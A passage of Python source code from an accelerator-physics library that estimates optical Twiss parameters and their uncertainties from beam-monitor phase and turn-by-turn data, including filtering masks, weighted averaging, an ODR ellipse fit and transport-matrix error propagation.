ay_m, by_m = self.model.ay, self.model.by index = self.combo.swapaxes(0, -1) value, sigma = Decomposition.phase_advance(*index, self.table.nux, fx, error=error, model=False, sigma_frequency=self.table.sigma_nux, sigma_phase=sigma_fx) fx_ij, fx_ik = value.swapaxes(0, 1) sx_ij, sx_ik = sigma.swapaxes(0, 1) value, sigma = Decomposition.phase_advance(*index, self.table.nuy, fy, error=error, model=False, sigma_frequency=self.table.sigma_nuy, sigma_phase=sigma_fy) fy_ij, fy_ik = value.swapaxes(0, 1) sy_ij, sy_ik = sigma.swapaxes(0, 1) if use_model: fx_m_ij, fx_m_ik = self.fx_ij, self.fx_ik sx_m_ij, sx_m_ik = self.sigma_fx_ij, self.sigma_fx_ik fy_m_ij, fy_m_ik = self.fy_ij, self.fy_ik sy_m_ij, sy_m_ik = self.sigma_fy_ij, self.sigma_fy_ik else: value, sigma = Decomposition.phase_advance(*index, self.model.nux, self.model.fx, error=error*model, model=True, sigma_frequency=self.model.sigma_nux, sigma_phase=self.model.sigma_fx) fx_m_ij, fx_m_ik = value.swapaxes(0, 1) sx_m_ij, sx_m_ik = sigma.swapaxes(0, 1) value, sigma = Decomposition.phase_advance(*index, self.model.nuy, self.model.fy, error=error*model, model=True, sigma_frequency=self.model.sigma_nuy, sigma_phase=self.model.sigma_fy) fy_m_ij, fy_m_ik = value.swapaxes(0, 1) sy_m_ij, sy_m_ik = sigma.swapaxes(0, 1) ax, sigma_ax = self.phase_alfa(ax_m, fx_ij, fx_m_ij, fx_ik, fx_m_ik, error=error, model=model, sigma_a_m=self.model.sigma_ax, sigma_f_ij=sx_ij, sigma_f_ik=sx_ik, sigma_f_m_ij=sx_m_ij, sigma_f_m_ik=sx_m_ik) bx, sigma_bx = self.phase_beta(bx_m, fx_ij, fx_m_ij, fx_ik, fx_m_ik, error=error, model=model, sigma_b_m=self.model.sigma_bx, sigma_f_ij=sx_ij, sigma_f_ik=sx_ik, sigma_f_m_ij=sx_m_ij, sigma_f_m_ik=sx_m_ik) ay, sigma_ay = self.phase_alfa(ay_m, fy_ij, fy_m_ij, fy_ik, fy_m_ik, error=error, model=model, sigma_a_m=self.model.sigma_ay, sigma_f_ij=sy_ij, sigma_f_ik=sy_ik, sigma_f_m_ij=sy_m_ij, sigma_f_m_ik=sy_m_ik) by, sigma_by = self.phase_beta(by_m, fy_ij, fy_m_ij, fy_ik, fy_m_ik, error=error, model=model, sigma_b_m=self.model.sigma_by, sigma_f_ij=sy_ij, sigma_f_ik=sy_ik, sigma_f_m_ij=sy_m_ij, sigma_f_m_ik=sy_m_ik) self.data_phase['fx_ij'], self.data_phase['sigma_fx_ij'], self.data_phase['fx_m_ij'], self.data_phase['sigma_fx_m_ij'] = fx_ij.T, sx_ij.T, fx_m_ij.T, sx_m_ij.T self.data_phase['fx_ik'], self.data_phase['sigma_fx_ik'], self.data_phase['fx_m_ik'], self.data_phase['sigma_fx_m_ik'] = fx_ik.T, sx_ik.T, fx_m_ik.T, sx_m_ik.T self.data_phase['fy_ij'], self.data_phase['sigma_fy_ij'], self.data_phase['fy_m_ij'], self.data_phase['sigma_fy_m_ij'] = fy_ij.T, sy_ij.T, fy_ij.T, sy_m_ij.T self.data_phase['fy_ik'], self.data_phase['sigma_fy_ik'], self.data_phase['fy_m_ik'], self.data_phase['sigma_fy_m_ik'] = fy_ik.T, sy_ik.T, fy_ik.T, sy_m_ik.T self.data_phase['ax'], self.data_phase['sigma_ax'], self.data_phase['bx'], self.data_phase['sigma_bx'] = ax.T, sigma_ax.T, bx.T, sigma_bx.T self.data_phase['ay'], self.data_phase['sigma_ay'], self.data_phase['by'], self.data_phase['sigma_by'] = ay.T, sigma_ay.T, by.T, sigma_by.T def filter_twiss(self, plane:str = 'x', *, phase:dict={'use': True, 'threshold': 10.00}, model:dict={'use': True, 'threshold': 00.50}, value:dict={'use': True, 'threshold': 00.50}, sigma:dict={'use': True, 'threshold': 00.25}, limit:dict={'use': True, 'threshold': 05.00}) -> dict: """ Filter twiss for given data plane and cleaning options. Parameters ---------- plane: str data plane ('x' or 'y') phase: dict clean based on advance phase data used if 'use' is True, remove combinations with absolute value of phase advance cotangents above threshold value model: dict clean based on phase advance proximity to model used if 'use' is True, remove combinations with (x - x_model)/x_model > threshold value value: dict clean based on estimated twiss beta error value used if 'use' is True, remove combinations with x/sigma_x < 1/threshold value sigma: dict clean based on estimated phase advance error value used if 'use' is True, remove combinations with x/sigma_x < 1/threshold value limit: dict clean outliers outside scaled interval used if 'use' is True Returns ------- mask (torch.Tensor) """ size, length, *_ = self.index.shape mask = torch.ones((size, length), device=self.device).to(torch.bool) if plane == 'x': a_m, b_m = self.model.ax.reshape(-1, 1), self.model.bx.reshape(-1, 1) a, b, sigma_a, sigma_b = self.data_phase['ax'], self.data_phase['bx'], self.data_phase['sigma_ax'], self.data_phase['sigma_bx'] f_ij, sigma_f_ij, f_m_ij, sigma_f_m_ij = self.data_phase['fx_ij'], self.data_phase['sigma_fx_ij'], self.data_phase['fx_m_ij'], self.data_phase['sigma_fx_m_ij'] f_ik, sigma_f_ik, f_m_ik, sigma_f_m_ik = self.data_phase['fx_ik'], self.data_phase['sigma_fx_ik'], self.data_phase['fx_m_ik'], self.data_phase['sigma_fx_m_ik'] if plane == 'y': a_m, b_m = self.model.ay.reshape(-1, 1), self.model.by.reshape(-1, 1) a, b, sigma_a, sigma_b = self.data_phase['ay'], self.data_phase['by'], self.data_phase['sigma_ay'], self.data_phase['sigma_by'] f_ij, sigma_f_ij, f_m_ij, sigma_f_m_ij = self.data_phase['fy_ij'], self.data_phase['sigma_fy_ij'], self.data_phase['fy_m_ij'], self.data_phase['sigma_fy_m_ij'] f_ik, sigma_f_ik, f_m_ik, sigma_f_m_ik = self.data_phase['fy_ik'], self.data_phase['sigma_fy_ik'], self.data_phase['fy_m_ik'], self.data_phase['sigma_fy_m_ik'] if phase['use']: cot_ij, cot_m_ij = torch.abs(1.0/torch.tan(f_ij)), torch.abs(1.0/torch.tan(f_m_ij)) cot_ik, cot_m_ik = torch.abs(1.0/torch.tan(f_ij)), torch.abs(1.0/torch.tan(f_m_ij)) mask *= phase['threshold'] > cot_ij mask *= phase['threshold'] > cot_m_ij mask *= phase['threshold'] > cot_ik mask *= phase['threshold'] > cot_m_ik if model['use']: mask *= model['threshold'] > torch.abs((f_ij - f_m_ij)/f_m_ij) mask *= model['threshold'] > torch.abs((f_ik - f_m_ik)/f_m_ik) if value['use']: mask *= value['threshold'] > torch.abs((b - b_m)/b_m) if sigma['use']: mask *= 1/sigma['threshold'] < torch.abs(f_ij/sigma_f_ij) mask *= 1/sigma['threshold'] < torch.abs(f_ik/sigma_f_ik) if limit['use']: factor = torch.tensor(limit['threshold'], dtype=self.dtype, device=self.device) mask *= threshold(standardize(a, center_estimator=median, spread_estimator=biweight_midvariance), -factor, +factor) mask *= threshold(standardize(b, center_estimator=median, spread_estimator=biweight_midvariance), -factor, +factor) return mask def mask_range(self, limit:tuple) -> torch.Tensor: """ Generate weight mask based on given range limit. Parameters ---------- limit: tuple range limit to use, (min, max), 1 <= min <= max, mim is excluded, for full range min==max Returns ------- weight mask (torch.Tensor) """ size, length, *_ = self.shape mask = torch.zeros((size, length), dtype=torch.int64, device=self.device) count = torch.tensor([limit*(2*limit - 1) for limit in range(1, max(self.limit) + 1)], dtype=torch.int64, device=self.device) limit_min, limit_max = limit if limit_min == limit_max: count = count[:limit_max] *_, count_max = count mask[:, :count_max] = 1 if limit_min < limit_max: count = count[limit_min - 1:limit_max] count_min, *_, count_max = count mask[:, count_min:count_max] = 1 count = torch.tensor([limit*(2*limit - 1) for limit in range(1, max(self.limit) + 1)], dtype=torch.int64, device=self.device) limit_min, limit_max = self.limit if limit_min == limit_max: count = count[:limit_max] *_, count_max = count mask = mask[:, :count_max] if limit_min < limit_max: count = count[limit_min - 1:limit_max] count_min, *_, count_max = count mask = mask[:, count_min:count_max] return mask def mask_location(self, table:list) -> torch.Tensor: """ Generate weight mask based on given range limit. Parameters ---------- table: list list of locations to remove Returns ------- weight mask (torch.Tensor) """ size, length, *_ = self.combo.shape mask = torch.zeros((size, length), dtype=torch.int64, device=self.device) for location in table: _, other = self.index.swapaxes(0, -1) other = torch.mul(*(other != location).swapaxes(0, 1)).T mask = (mask == other) return mask.logical_not() def mask_distance(self, function) -> torch.Tensor: """ Generate weight mask based on given range limit. Parameters ---------- function: Callable function to apply to distance data Returns ------- weight mask (torch.Tensor) """ mask = torch.stack([function(distance) for distance in self.distance]) mask = torch.stack([mask for _ in range(self.size)]) return mask def process_twiss(self, plane:str='x', *, weight:bool=True, mask:torch.Tensor=None) -> dict: """ Process twiss data. Parameters ---------- plane: str data plane ('x' or 'y') weight: bool flag to use weights mask: torch.Tensor mask Returns ------- twiss data (dict) dict_keys(['value_a', 'sigma_a', 'error_a', 'value_b', 'sigma_b', 'error_b']) """ result = {} if mask == None: size, length, *_ = self.index.shape mask = torch.ones((size, length), device=self.device).to(torch.bool) if plane == 'x': a, sigma_a, a_m = self.data_phase['ax'], self.data_phase['sigma_ax'], self.model.ax b, sigma_b, b_m = self.data_phase['bx'], self.data_phase['sigma_bx'], self.model.bx if plane == 'y': a, sigma_a, a_m = self.data_phase['ay'], self.data_phase['sigma_ay'], self.model.ay b, sigma_b, b_m = self.data_phase['by'], self.data_phase['sigma_by'], self.model.by if not weight: center = weighted_mean(a, weight=mask) spread = weighted_variance(a, weight=mask, center=center).sqrt() result['value_a'] = center result['sigma_a'] = spread result['error_a'] = (center - a_m)/a_m center = weighted_mean(b, weight=mask) spread = weighted_variance(b, weight=mask, center=center).sqrt() result['value_b'] = center result['sigma_b'] = spread result['error_b'] = (center - b_m)/b_m return result weight = (mask.to(self.dtype)/sigma_a**2).nan_to_num(posinf=0.0, neginf=0.0) center = weighted_mean(a, weight=weight) spread = weighted_variance(a, weight=weight, center=center).sqrt() result['value_a'] = center result['sigma_a'] = spread result['error_a'] = (center - a_m)/a_m weight = (mask.to(self.dtype)/sigma_b**2).nan_to_num(posinf=0.0, neginf=0.0) center = weighted_mean(b, weight=weight) spread = weighted_variance(b, weight=weight, center=center).sqrt() result['value_b'] = center result['sigma_b'] = spread result['error_b'] = (center - b_m)/b_m if plane == 'x': self.ax, self.sigma_ax = result['value_a'], result['sigma_a'] self.bx, self.sigma_bx = result['value_b'], result['sigma_b'] if plane == 'y': self.ay, self.sigma_ay = result['value_a'], result['sigma_a'] self.by, self.sigma_by = result['value_b'], result['sigma_b'] return result def get_twiss_from_data(self, n:int, x:torch.Tensor, y:torch.Tensor, *, refit:bool=False, factor:float=5.0, level:float=1.0E-6, sigma_x:torch.Tensor=None, sigma_y:torch.Tensor=None, ax:torch.Tensor=None, bx:torch.Tensor=None, ay:torch.Tensor=None, by:torch.Tensor=None, transport:torch.Tensor=None, **kwargs) -> dict: """ Estimate twiss from tbt data using ODR fit. Note, if no initial guesses for twiss and/or transport are given, model values will be used This method is sensitive to noise and calibration errors Parameters ---------- n: int number of turns to use x: torch.Tensor x data y: torch.Tensor y data refit: bool flag to refit twiss using estimated invariants factor: float threshold factor for invariants spread level: float default noise level sigma_x: torch.Tensor x noise sigma for each signal sigma_y: torch.Tensor y noise sigma for each signal ax, bx, ay, by: torch.Tensor initial guess for twiss parameters at monitor locations transport: torch.Tensor transport matrices between monitor locations Returns ------- fit result (dict) dict_keys(['jx', 'ax', 'bx', 'sigma_jx', 'sigma_ax', 'sigma_bx', 'jy', 'ay', 'by', 'sigma_jy', 'sigma_ay', 'sigma_by', 'mux', 'muy']) """ if ax is None: ax = self.model.ax[self.model.monitor_index].cpu().numpy() else: ax = ax.cpu().numpy() if bx is None: bx = self.model.bx[self.model.monitor_index].cpu().numpy() else: bx = bx.cpu().numpy() if ay is None: ay = self.model.ay[self.model.monitor_index].cpu().numpy() else: ay = ay.cpu().numpy() if by is None: by = self.model.by[self.model.monitor_index].cpu().numpy() else: by = by.cpu().numpy() if transport is None: probe = torch.tensor(self.model.monitor_index, dtype=torch.int64, device=self.device) other = torch.roll(probe, -1) other[-1] += self.model.size transport = self.model.matrix(probe, other) copy = torch.clone(transport) def ellipse(w, x): alpha, beta, action = w q1, q2, m11, m12 = x return 1/beta*(q1**2 + (alpha*q1 + beta*(q2 - q1*m11)/m12)**2) - action value_jx, error_jx = [], [] value_jy, error_jy = [], [] value_ax, error_ax = [], [] value_ay, error_ay = [], [] value_bx, error_bx = [], [] value_by, error_by = [], [] for i in range(self.model.monitor_count): q1 = x[i, :n].cpu().numpy() q2 = x[int(mod(i + 1, self.model.monitor_count)), :n].cpu().numpy() if i + 1 == self.model.monitor_count: q2 = x[int(mod(i + 1, self.model.monitor_count)), 1:n+1].cpu().numpy() if sigma_x is not None: s1, s2 = sigma_x[i].cpu().numpy(), sigma_x[int(mod(i + 1, self.model.monitor_count))].cpu().numpy() else: s1, s2 = level, level m11 = transport[i, 0, 0].cpu().numpy() m12 = transport[i, 0, 1].cpu().numpy() alpha, beta = ax[i], bx[i] action = numpy.median(1/beta*(q1**2 + (alpha*q1 + beta*(q2 - q1*m11)/m12)**2)) m11 = m11*numpy.ones(n) m12 = m12*numpy.ones(n) X = numpy.array([q1, q2, m11, m12]) data = odr.RealData(X, y=1, sx=[s1, s2, level, level], sy=1.0E-16) model = odr.Model(ellipse, implicit=True) fit = odr.ODR(data, model, beta0=[alpha, beta, action], **kwargs).run() alpha, beta, action = fit.beta sigma_alpha, sigma_beta, sigma_action = fit.sd_beta value_jx.append(action) value_ax.append(alpha) value_bx.append(beta) error_jx.append(sigma_action) error_ax.append(sigma_alpha) error_bx.append(sigma_beta) q1 = y[i, :n].cpu().numpy() q2 = y[int(mod(i + 1, self.model.monitor_count)), :n].cpu().numpy() if i + 1 == self.model.monitor_count: q2 = y[int(mod(i + 1, self.model.monitor_count)), 1:n+1].cpu().numpy() if sigma_y is not None: s1, s2 = sigma_y[i].cpu().numpy(), sigma_y[int(mod(i + 1, self.model.monitor_count))].cpu().numpy() else: s1, s2 = level, level m11 = transport[i, 2, 2].cpu().numpy() m12 = transport[i, 2, 3].cpu().numpy() alpha, beta = ay[i], by[i] action = numpy.median(1/beta*(q1**2 + (alpha*q1 + beta*(q2 - q1*m11)/m12)**2)) m11 = m11*numpy.ones(n) m12 = m12*numpy.ones(n) X = numpy.array([q1, q2, m11, m12]) data = odr.RealData(X, y=1, sx=[s1, s2, level, level], sy=1.0E-16) model = odr.Model(ellipse, implicit=True) fit = odr.ODR(data, model, beta0=[alpha, beta, action], **kwargs).run() alpha, beta, action = fit.beta sigma_alpha, sigma_beta, sigma_action = fit.sd_beta value_jy.append(action) value_ay.append(alpha) value_by.append(beta) error_jy.append(sigma_action) error_ay.append(sigma_alpha) error_by.append(sigma_beta) result = {} result['center_jx'] = None result['spread_jx'] = None result['center_jy'] = None result['spread_jy'] = None result['jx'] = 0.5*torch.tensor(value_jx, dtype=self.dtype, device=self.device) result['ax'] = torch.tensor(value_ax, dtype=self.dtype, device=self.device) result['bx'] = torch.tensor(value_bx, dtype=self.dtype, device=self.device) result['sigma_jx'] = 0.5*torch.tensor(error_jx, dtype=self.dtype, device=self.device) result['sigma_ax'] = torch.tensor(error_ax, dtype=self.dtype, device=self.device) result['sigma_bx'] = torch.tensor(error_bx, dtype=self.dtype, device=self.device) result['jy'] = 0.5*torch.tensor(value_jy, dtype=self.dtype, device=self.device) result['ay'] = torch.tensor(value_ay, dtype=self.dtype, device=self.device) result['by'] = torch.tensor(value_by, dtype=self.dtype, device=self.device) result['sigma_jy'] = 0.5*torch.tensor(error_jy, dtype=self.dtype, device=self.device) result['sigma_ay'] = torch.tensor(error_ay, dtype=self.dtype, device=self.device) result['sigma_by'] = torch.tensor(error_by, dtype=self.dtype, device=self.device) factor = torch.tensor(factor, dtype=self.dtype, device=self.device) mask_jx = threshold(standardize(result['jx'], center_estimator=median, spread_estimator=biweight_midvariance), -factor, +factor) mask_jx = mask_jx.squeeze()/(result['sigma_jx']/result['sigma_jx'].sum())**2 center_jx = weighted_mean(result['jx'], weight=mask_jx) spread_jx = weighted_variance(result['jx'], weight=mask_jx, center=center_jx).sqrt() mask_jy = threshold(standardize(result['jy'], center_estimator=median, spread_estimator=biweight_midvariance), -factor, +factor) mask_jy = mask_jy.squeeze()/(result['sigma_jy']/result['sigma_jy'].sum())**2 center_jy = weighted_mean(result['jy'], weight=mask_jy) spread_jy = weighted_variance(result['jy'], weight=mask_jy, center=center_jy).sqrt() result['center_jx'] = center_jx result['spread_jx'] = spread_jx result['center_jy'] = center_jy result['spread_jy'] = spread_jy advance = [] for i in range(self.model.monitor_count): normal = self.model.cs_normal(result['ax'][i], result['bx'][i], result['ay'][i], result['by'][i]) values, _ = self.model.advance_twiss(normal, transport[i]) advance.append(values) advance = torch.stack(advance).T result['mux'], result['muy'] = advance if not refit: return result def ellipse(w, x): alpha, beta = w q1, q2, m11, m12 = x return 1/beta*(q1**2 + (alpha*q1 + beta*(q2 - q1*m11)/m12)**2) - action value_ax, error_ax = [], [] value_ay, error_ay = [], [] value_bx, error_bx = [], [] value_by, error_by = [], [] for i in range(self.model.monitor_count): action = 2.0*center_jx.cpu().numpy() q1 = x[i, :n].cpu().numpy() q2 = x[int(mod(i + 1, self.model.monitor_count)), :n].cpu().numpy() if i + 1 == self.model.monitor_count: q2 = x[int(mod(i + 1, self.model.monitor_count)), 1:n+1].cpu().numpy() if sigma_x is not None: s1, s2 = sigma_x[i].cpu().numpy(), sigma_x[int(mod(i + 1, self.model.monitor_count))].cpu().numpy() else: s1, s2 = level, level m11 = transport[i, 0, 0].cpu().numpy() m12 = transport[i, 0, 1].cpu().numpy() alpha, beta = result['ax'][i].cpu().numpy(), result['bx'][i].cpu().numpy() m11 = m11*numpy.ones(n) m12 = m12*numpy.ones(n) X = numpy.array([q1, q2, m11, m12]) data = odr.RealData(X, y=1, sx=[s1, s2, level, level], sy=1.0E-16) model = odr.Model(ellipse, implicit=True) fit = odr.ODR(data, model, beta0=[alpha, beta], **kwargs).run() alpha, beta = fit.beta sigma_alpha, sigma_beta = fit.sd_beta value_ax.append(alpha) value_bx.append(beta) error_ax.append(sigma_alpha) error_bx.append(sigma_beta) action = 2.0*center_jy.cpu().numpy() q1 = y[i, :n].cpu().numpy() q2 = y[int(mod(i + 1, self.model.monitor_count)), :n].cpu().numpy() if i + 1 == self.model.monitor_count: q2 = y[int(mod(i + 1, self.model.monitor_count)), 1:n+1].cpu().numpy() if sigma_y is not None: s1, s2 = sigma_y[i].cpu().numpy(), sigma_y[int(mod(i + 1, self.model.monitor_count))].cpu().numpy() else: s1, s2 = level, level m11 = transport[i, 2, 2].cpu().numpy() m12 = transport[i, 2, 3].cpu().numpy() alpha, beta = result['ay'][i].cpu().numpy(), result['by'][i].cpu().numpy() m11 = m11*numpy.ones(n) m12 = m12*numpy.ones(n) X = numpy.array([q1, q2, m11, m12]) data = odr.RealData(X, y=1, sx=[s1, s2, level, level], sy=1.0E-16) model = odr.Model(ellipse, implicit=True) fit = odr.ODR(data, model, beta0=[alpha, beta], **kwargs).run() alpha, beta = fit.beta sigma_alpha, sigma_beta = fit.sd_beta value_ay.append(alpha) value_by.append(beta) error_ay.append(sigma_alpha) error_by.append(sigma_beta) result['ax'] = torch.tensor(value_ax, dtype=self.dtype, device=self.device) result['bx'] = torch.tensor(value_bx, dtype=self.dtype, device=self.device) result['sigma_ax'] = torch.tensor(error_ax, dtype=self.dtype, device=self.device) result['sigma_bx'] = torch.tensor(error_bx, dtype=self.dtype, device=self.device) result['ay'] = torch.tensor(value_ay, dtype=self.dtype, device=self.device) result['by'] = torch.tensor(value_by, dtype=self.dtype, device=self.device) result['sigma_ay'] = torch.tensor(error_ay, dtype=self.dtype, device=self.device) result['sigma_by'] = torch.tensor(error_by, dtype=self.dtype, device=self.device) advance = [] for i in range(self.model.monitor_count): normal = self.model.cs_normal(result['ax'][i], result['bx'][i], result['ay'][i], result['by'][i]) values, _ = self.model.advance_twiss(normal, transport[i]) advance.append(values) advance = torch.stack(advance).T result['mux'], result['muy'] = advance return result def get_ax(self, index:int) -> torch.Tensor: """ Get ax value and error at given index. Parameters ---------- index: int index or location name Returns ------- [ax, sigma_ax] (torch.Tensor) """ if isinstance(index, str) and index in self.model.name: return self.get_ax(self.model.get_index(index)) index = int(mod(index, self.size)) return torch.stack([self.ax[index], self.sigma_ax[index]]) def get_bx(self, index:int) -> torch.Tensor: """ Get bx value and error at given index. Parameters ---------- index: int index or location name Returns ------- [bx, sigma_bx] (torch.Tensor) """ if isinstance(index, str) and index in self.model.name: return self.get_bx(self.model.get_index(index)) index = int(mod(index, self.size)) return torch.stack([self.bx[index], self.sigma_bx[index]]) def get_fx(self, index:int) -> torch.Tensor: """ Get fx value and error at given index. Parameters ---------- index: int index or location name Returns ------- [fx, sigma_fx] (torch.Tensor) """ if isinstance(index, str) and index in self.model.name: return self.get_fx(self.model.get_index(index)) index = int(mod(index, self.size)) return torch.stack([self.fx[index], self.sigma_fx[index]]) def get_ay(self, index:int) -> torch.Tensor: """ Get ay value and error at given index. Parameters ---------- index: int index or location name Returns ------- [ay, sigma_ay] (torch.Tensor) """ if isinstance(index, str) and index in self.model.name: return self.get_ay(self.model.get_index(index)) index = int(mod(index, self.size)) return torch.stack([self.ay[index], self.sigma_ay[index]]) def get_by(self, index:int) -> torch.Tensor: """ Get by value and error at given index. Parameters ---------- index: int index or location name Returns ------- [by, sigma_by] (torch.Tensor) """ if isinstance(index, str) and index in self.model.name: return self.get_by(self.model.get_index(index)) index = int(mod(index, self.size)) return torch.stack([self.by[index], self.sigma_by[index]]) def get_fy(self, index:int) -> torch.Tensor: """ Get fy value and error at given index. Parameters ---------- index: int index or location name Returns ------- [fy, sigma_fy] (torch.Tensor) """ if isinstance(index, str) and index in self.model.name: return self.get_fy(self.model.get_index(index)) index = int(mod(index, self.size)) return torch.stack([self.fy[index], self.sigma_fy[index]]) def get_twiss(self, index:int) -> dict: """ Return twiss data at given index. Parameters ---------- index: int index or location name Returns ------- twiss data (dict) """ if isinstance(index, str) and index in self.model.name: return self.get_twiss(self.model.get_index(index)) table = {} table['ax'], table['sigma_ax'] = self.get_ax(index) table['bx'], table['sigma_bx'] = self.get_bx(index) table['fx'], table['sigma_fx'] = self.get_fx(index) table['ay'], table['sigma_ay'] = self.get_ay(index) table['by'], table['sigma_by'] = self.get_by(index) table['fy'], table['sigma_fy'] = self.get_fy(index) return table def get_table(self) -> pandas.DataFrame: """ Return twiss data at all locations as dataframe. Parameters ---------- None Returns ------- twiss data (pandas.DataFrame) """ df = pandas.DataFrame() df['name'] = self.model.name df['kind'] = self.model.kind df['flag'] = self.flag.cpu().numpy() df['time'] = self.model.time.cpu().numpy() df['ax'], df['sigma_ax'] = self.ax.cpu().numpy(), self.sigma_ax.cpu().numpy() df['bx'], df['sigma_bx'] = self.bx.cpu().numpy(), self.sigma_bx.cpu().numpy() df['fx'], df['sigma_fx'] = self.fx.cpu().numpy(), self.sigma_fx.cpu().numpy() df['ay'], df['sigma_ay'] = self.ay.cpu().numpy(), self.sigma_ay.cpu().numpy() df['by'], df['sigma_by'] = self.by.cpu().numpy(), self.sigma_by.cpu().numpy() df['fy'], df['sigma_fy'] = self.fy.cpu().numpy(), self.sigma_fy.cpu().numpy() return df def __repr__(self) -> str: """ String representation. """ return f'{self.__class__.__name__}({self.model}, {self.table}, {self.limit})' def __len__(self) -> int: """ Number of locations. """ return self.size def __call__(self, limit:int=None) -> pandas.DataFrame: """ Perform twiss loop with default parameters. Parameters ---------- limit: int range limit for virtual phase computation Returns ------- twiss table (pandas.DataFrame) """ limit = max(self.limit) if limit is None else limit self.get_action() self.get_twiss_from_amplitude() self.phase_virtual(limit=limit) self.get_twiss_from_phase() select = { 'phase': {'use': True, 'threshold': 10.00}, 'model': {'use': False, 'threshold': 00.50}, 'value': {'use': False, 'threshold': 00.50}, 'sigma': {'use': False, 'threshold': 00.25}, 'limit': {'use': True, 'threshold': 05.00} } mask_x = self.filter_twiss(plane='x', **select) mask_y = self.filter_twiss(plane='y', **select) _ = self.process_twiss(plane='x', mask=mask_x, weight=True) _ = self.process_twiss(plane='y', mask=mask_y, weight=True) return self.get_table() def matrix(self, probe:torch.Tensor, other:torch.Tensor) -> tuple: """ Generate uncoupled transport matrix (or matrices) for given locations. Matrices are generated from probe to other One-turn matrices are generated where probe == other Input parameters should be 1D tensors with matching length Additionaly probe and/or other input parameter can be an int or str in self.model.name (not checked) Note, twiss parameters are treated as independent variables in error propagation Parameters ---------- probe: torch.Tensor probe locations other: torch.Tensor other locations Returns ------- uncoupled transport matrices and error matrices(tuple) """ if isinstance(probe, int): probe = torch.tensor([probe], dtype=torch.int64, device=self.device) if isinstance(probe, str): probe = torch.tensor([self.model.name.index(probe)], dtype=torch.int64, device=self.device) if isinstance(other, int): other = torch.tensor([other], dtype=torch.int64, device=self.device) if isinstance(other, str): other = torch.tensor([self.model.name.index(other)], dtype=torch.int64, device=self.device) other[probe == other] += self.size fx, sigma_fx = Decomposition.phase_advance(probe, other, self.table.nux, self.fx, error=True, sigma_frequency=self.table.sigma_nux, sigma_phase=self.sigma_fx) fy, sigma_fy = Decomposition.phase_advance(probe, other, self.table.nuy, self.fy, error=True, sigma_frequency=self.table.sigma_nuy, sigma_phase=self.sigma_fy) probe = mod(probe, self.size).to(torch.int64) other = mod(other, self.size).to(torch.int64) transport = self.model.matrix_uncoupled(self.ax[probe], self.bx[probe], self.ax[other], self.bx[other], fx, self.ay[probe], self.by[probe], self.ay[other], self.by[other], fy) sigma_transport = torch.zeros_like(transport) sigma_transport[:, 0, 0] += self.sigma_ax[probe]**2*self.bx[other]*torch.sin(fx)**2/self.bx[probe] sigma_transport[:, 0, 0] += self.sigma_bx[probe]**2*self.bx[other]*(torch.cos(fx) + self.ax[probe]*torch.sin(fx))**2/(4.0*self.bx[probe]**3) sigma_transport[:, 0, 0] += self.sigma_bx[other]**2*(torch.cos(fx) + self.ax[probe]*torch.sin(fx))**2/(4.0*self.bx[probe]*self.bx[other]) sigma_transport[:, 0, 0] += sigma_fx**2*self.bx[other]*(-self.ax[probe]*torch.cos(fx) + torch.sin(fx))**2/self.bx[probe] sigma_transport[:, 0, 1] += self.sigma_bx[probe]**2*self.bx[other]*torch.sin(fx)**2/(4.0*self.bx[probe]) sigma_transport[:, 0, 1] += self.sigma_bx[other]**2*self.bx[probe]*torch.sin(fx)**2/(4.0*self.bx[other]) sigma_transport[:, 0, 1] += sigma_fx**2*self.bx[probe]*self.bx[other]*torch.cos(fx)**2 sigma_transport[:, 1, 0] += self.sigma_ax[probe]**2*(torch.cos(fx) - self.ax[other]*torch.sin(fx))**2/(self.bx[probe]*self.bx[other]) sigma_transport[:, 1, 0] += self.sigma_ax[other]**2*(torch.cos(fx) + self.ax[probe]*torch.sin(fx))**2/(self.bx[probe]*self.bx[other]) sigma_transport[:, 1, 0] += self.sigma_bx[probe]**2*((-self.ax[probe] + self.ax[other])*torch.cos(fx) + (1.0 + self.ax[probe]*self.ax[other])*torch.sin(fx))**2/(4.0*self.bx[probe]**3*self.bx[other]) sigma_transport[:, 1, 0] += self.sigma_bx[other]**2*((-self.ax[probe] + self.ax[other])*torch.cos(fx) + (1.0 + self.ax[probe]*self.ax[other])*torch.sin(fx))**2/(4.0*self.bx[probe]*self.bx[other]**3) sigma_transport[:, 1, 0] += sigma_fx**2*((1.0 + self.ax[probe]*self.ax[other])*torch.cos(fx) + (self.ax[probe] - self.ax[other])*torch.sin(fx))**2/(self.bx[probe]*self.bx[other]) sigma_transport[:, 1, 1] += self.sigma_bx[probe]**2*(torch.cos(fx) - self.ax[other]*torch.sin(fx))**2/(4.0*self.bx[probe]*self.bx[other]) sigma_transport[:, 1, 1] += self.sigma_ax[other]**2*self.bx[probe]*torch.sin(fx)**2/self.bx[other] sigma_transport[:, 1, 1] += self.sigma_bx[other]**2*self.bx[probe]*(torch.cos(fx) - self.ax[other]*torch.sin(fx))**2/(4.0*self.bx[other]**3) sigma_transport[:, 1, 1] += sigma_fx**2*self.bx[probe]*(self.ax[other]*torch.cos(fx) + torch.sin(fx))**2/self.bx[other] sigma_transport[:, 2, 2] += self.sigma_ay[probe]**2*self.by[other]*torch.sin(fy)**2/self.by[probe] sigma_transport[:, 2, 2] += self.sigma_by[probe]**2*self.by[other]*(torch.cos(fy) + self.ay[probe]*torch.sin(fy))**2/(4.0*self.by[probe]**3) sigma_transport[:, 2, 2] += self.sigma_by[other]**2*(torch.cos(fy) + self.ay[probe]*torch.sin(fy))**2/(4.0*self.by[probe]*self.by[other]) sigma_transport[:, 2, 2] += sigma_fy**2*self.by[other]*(-self.ay[probe]*torch.cos(fy) + torch.sin(fy))**2/self.by[probe] sigma_transport[:, 2, 3] += self.sigma_by[probe]**2*self.by[other]*torch.sin(fy)**2/(4.0*self.by[probe]) sigma_transport[:, 2, 3] += self.sigma_by[other]**2*self.by[probe]*torch.sin(fy)**2/(4.0*self.by[other]) sigma_transport[:, 2, 3] += sigma_fy**2*self.by[probe]*self.by[other]*torch.cos(fy)**2 sigma_transport[:, 3, 2] += self.sigma_ay[probe]**2*(torch.cos(fy) - self.ay[other]*torch.sin(fy))**2/(self.by[probe]*self.by[other]) sigma_transport[:, 3, 2] += self.sigma_ay[other]**2*(torch.cos(fy) + self.ay[probe]*torch.sin(fy))**2/(self.by[probe]*self.by[other]) sigma_transport[:, 3, 2] += self.sigma_by[probe]**2*((-self.ay[probe] + self.ay[other])*torch.cos(fy) + (1.0 + self.ay[probe]*self.ay[other])*torch.sin(fy))**2/(4.0*self.by[probe]**3*self.by[other]) sigma_transport[:, 3, 2] += self.sigma_by[other]**2*((-self.ay[probe] + self.ay[other])*torch.cos(fy) + (1.0 + 